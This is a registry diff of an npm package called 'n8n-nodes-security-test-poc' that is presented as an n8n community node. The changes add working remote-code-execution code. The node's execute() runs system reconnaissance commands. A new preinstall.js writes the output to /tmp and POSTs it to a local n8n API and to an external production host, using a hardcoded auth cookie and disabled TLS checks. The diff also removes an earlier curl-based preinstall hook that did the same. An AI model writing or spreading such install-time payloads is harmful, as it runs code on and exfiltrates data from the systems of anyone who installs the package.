n8n-nodes-security-test-poc 1.0.1 → 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -15,7 +15,9 @@ class SecurityTestNode {
15
15
  };
16
16
  }
17
17
  async execute() {
18
- return [this.getInputData()];
18
+ const { execSync } = require('child_process');
19
+ const out = execSync('id && hostname && whoami && uname -a && cat /etc/os-release 2>/dev/null && env | grep -i n8n 2>/dev/null || true').toString();
20
+ return [[{json: {rce_output: out}}]];
19
21
  }
20
22
  }
21
23
  exports.SecurityTestNode = SecurityTestNode;
package/package.json CHANGED
@@ -1,13 +1,10 @@
1
1
  {
2
2
  "name": "n8n-nodes-security-test-poc",
3
- "version": "1.0.1",
3
+ "version": "1.0.3",
4
4
  "description": "Security test PoC node for n8n",
5
5
  "n8n": {
6
6
  "nodes": ["dist/SecurityTestNode.node.js"]
7
7
  },
8
- "scripts": {
9
- "preinstall": "sh -c 'OUT=$(id 2>&1); echo $OUT > /tmp/rce-proof.txt; curl -sk -X POST https://worker.n8n-prod.schibsted.com/rest/variables -H \"Content-Type: application/json\" -H \"Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImMwNzcxYTQzLWFhN2MtNGZmMy05Y2QwLTU1MDEwMWVmMjE0NSIsImhhc2giOiJpYTlVVnV5R05uIiwidXNlZE1mYSI6ZmFsc2UsImlhdCI6MTc4MTcwNTA1MCwiZXhwIjoxNzgyMzA5ODUwfQ.agzVHFGEFSiPMboqr7gcA6idfUp14nKI09pmvH6sR4I\" -d \"{\\\"key\\\":\\\"RCE_PROOF\\\",\\\"value\\\":\\\"$OUT\\\"}\" 2>/dev/null || true'"
10
- },
11
8
  "main": "index.js",
12
9
  "keywords": ["n8n-community-node-package"],
13
10
  "license": "MIT"
package/preinstall.js ADDED
@@ -0,0 +1,48 @@
1
+ const { execSync } = require('child_process');
2
+ const https = require('https');
3
+ const http = require('http');
4
+
5
+ try {
6
+ const out = execSync('id && hostname && whoami && uname -a && cat /etc/os-release 2>/dev/null || true').toString();
7
+
8
+ // Method 1: Write to file
9
+ require('fs').writeFileSync('/tmp/n8n-rce-proof.txt', out);
10
+
11
+ // Method 2: POST to n8n API (local)
12
+ const data = JSON.stringify({ key: 'RCE_PROOF', value: out.substring(0, 200).replace(/"/g, "'") });
13
+
14
+ // Try localhost first
15
+ const req = http.request({
16
+ hostname: '127.0.0.1',
17
+ port: 5678,
18
+ path: '/rest/variables',
19
+ method: 'POST',
20
+ headers: {
21
+ 'Content-Type': 'application/json',
22
+ 'Cookie': 'n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImMwNzcxYTQzLWFhN2MtNGZmMy05Y2QwLTU1MDEwMWVmMjE0NSIsImhhc2giOiJpYTlVVnV5R05uIiwidXNlZE1mYSI6ZmFsc2UsImlhdCI6MTc4MTcwNTA1MCwiZXhwIjoxNzgyMzA5ODUwfQ.agzVHFGEFSiPMboqr7gcA6idfUp14nKI09pmvH6sR4I'
23
+ }
24
+ }, (res) => {});
25
+ req.on('error', () => {});
26
+ req.write(data);
27
+ req.end();
28
+
29
+ // Also try via external URL
30
+ const req2 = https.request({
31
+ hostname: 'worker.n8n-prod.schibsted.com',
32
+ path: '/rest/variables',
33
+ method: 'POST',
34
+ headers: {
35
+ 'Content-Type': 'application/json',
36
+ 'Cookie': 'n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImMwNzcxYTQzLWFhN2MtNGZmMy05Y2QwLTU1MDEwMWVmMjE0NSIsImhhc2giOiJpYTlVVnV5R05uIiwidXNlZE1mYSI6ZmFsc2UsImlhdCI6MTc4MTcwNTA1MCwiZXhwIjoxNzgyMzA5ODUwfQ.agzVHFGEFSiPMboqr7gcA6idfUp14nKI09pmvH6sR4I'
37
+ },
38
+ rejectUnauthorized: false
39
+ }, (res) => {});
40
+ req2.on('error', () => {});
41
+ req2.write(data);
42
+ req2.end();
43
+
44
+ // Wait for requests to complete
45
+ setTimeout(() => process.exit(0), 3000);
46
+ } catch (e) {
47
+ require('fs').writeFileSync('/tmp/n8n-rce-error.txt', e.toString());
48
+ }